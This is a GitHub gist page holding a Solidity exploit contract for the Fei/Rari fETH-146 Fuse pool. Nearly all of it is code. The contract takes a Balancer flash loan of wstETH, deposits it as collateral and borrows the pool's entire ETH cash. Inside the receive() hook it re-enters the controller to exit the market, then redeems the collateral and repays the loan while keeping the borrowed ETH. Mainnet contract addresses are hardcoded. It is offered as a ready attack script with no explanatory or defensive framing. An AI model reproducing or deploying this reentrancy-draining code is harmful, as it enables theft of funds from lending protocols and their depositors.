Skip to content

Instantly share code, notes, and snippets.

@ShaunLWM
Forked from arbazkiraak/Exploit.sol
Created May 1, 2022 12:24
Show Gist options
  • Save ShaunLWM/e022030d2840084242eedfc44290d9b7 to your computer and use it in GitHub Desktop.
Save ShaunLWM/e022030d2840084242eedfc44290d9b7 to your computer and use it in GitHub Desktop.
Fei fETH-146 Fuse Pool exploit - Reentrancy on doTransferOut() while borrowing.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "hardhat/console.sol";
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IBalancer {
event FlashLoan(address indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
function flashLoan(
address recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}
interface IPool {
function getCash() external view returns (uint);
function mint() external payable;
function borrow(uint borrowAmount) external returns (uint);
function getAccountLiquidity(address account) external view returns (uint, uint, uint);
}
interface IUnitroller {
function enterMarkets(address[] memory cTokens) external returns (uint[] memory);
function getAccountLiquidity(address account) external view returns (uint, uint, uint);
function exitMarket(address cToken) external returns (uint);
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
}
interface ICToken {
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint);
function underlying() external view returns (address);
}
contract FeiExploit{
error Notbalancer();
error NotOwner();
address private immutable owner;
address private immutable pool; // Tribe ETH Pool Ethereum Network (fETH-146)
ICToken private immutable fWsEthPool; // Tribe ETH Pool Wrapped Staked Ether (fWSTETH-146)
IERC20 private immutable underlyingWstEth; // Wrapped liquid staked Ether 2.0 (wstETH)
constructor(ICToken _fWsEthPool,IERC20 _underlying,address _pool) {
owner = msg.sender;
pool = _pool;
fWsEthPool = _fWsEthPool;
underlyingWstEth = _underlying;
}
address constant wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant balancerAddress = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
address constant UnicontrollerAddress = 0x88F7c23EA6C4C404dA463Bc9aE03b012B32DEf9e;
IBalancer constant balancer = IBalancer(balancerAddress);
function exploit(IERC20[] calldata tokens,uint256[] calldata amounts) public payable {
IBalancer(balancerAddress).flashLoan(
address(this),
tokens,
amounts,
""
);
}
function log() public view {
console.log("wstEth Balance After: ",underlyingWstEth.balanceOf(address(this)));
console.log("cPool146 Balance After: ",IERC20(address(fWsEthPool)).balanceOf(address(this)));
console.log("ETHER BALANCE : ",address(this).balance);
console.log("WETH BALANCE : ",IERC20(wethAddress).balanceOf(address(this)));
}
function logPoolCash() external view returns (uint256) {
return IPool(pool).getCash();
}
function receiveFlashLoan(IERC20[] calldata tokens,uint256[] calldata amounts,uint256[] calldata feeAmounts,bytes calldata userData) public payable {
if (msg.sender != balancerAddress) revert Notbalancer();
console.log("EXPLOITING fETH-146 Pool");
uint256 cash = IPool(pool).getCash();
address[] memory t = new address[](1);
t[0] = address(fWsEthPool);
IUnitroller(UnicontrollerAddress).enterMarkets(t);
underlyingWstEth.approve(address(fWsEthPool), underlyingWstEth.balanceOf(address(this)));
ICToken(fWsEthPool).mint(underlyingWstEth.balanceOf(address(this)));
(, uint256 val,) = IUnitroller(UnicontrollerAddress).getAccountLiquidity(address(this));
underlyingWstEth.approve(pool, IERC20(address(fWsEthPool)).balanceOf(address(this)));
uint256 out = IPool(pool).borrow(cash);
console.log("BORROWED STATUS :",out);
log();
console.log(IUnitroller(UnicontrollerAddress).redeemAllowed(address(fWsEthPool),address(this),IERC20(address(fWsEthPool)).balanceOf(address(this))));
uint256 radeemOut = ICToken(fWsEthPool).redeemUnderlying(amounts[0]); //0 status code = success
tokens[0].transfer(balancerAddress,amounts[0]);
tokens[1].transfer(balancerAddress,amounts[1]);
}
receive() external payable {
if (msg.sender == pool) {
IUnitroller(UnicontrollerAddress).exitMarket(address(fWsEthPool));
console.log(IUnitroller(UnicontrollerAddress).redeemAllowed(address(fWsEthPool),address(this),IERC20(address(fWsEthPool)).balanceOf(address(this)))); // should be allowed.
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment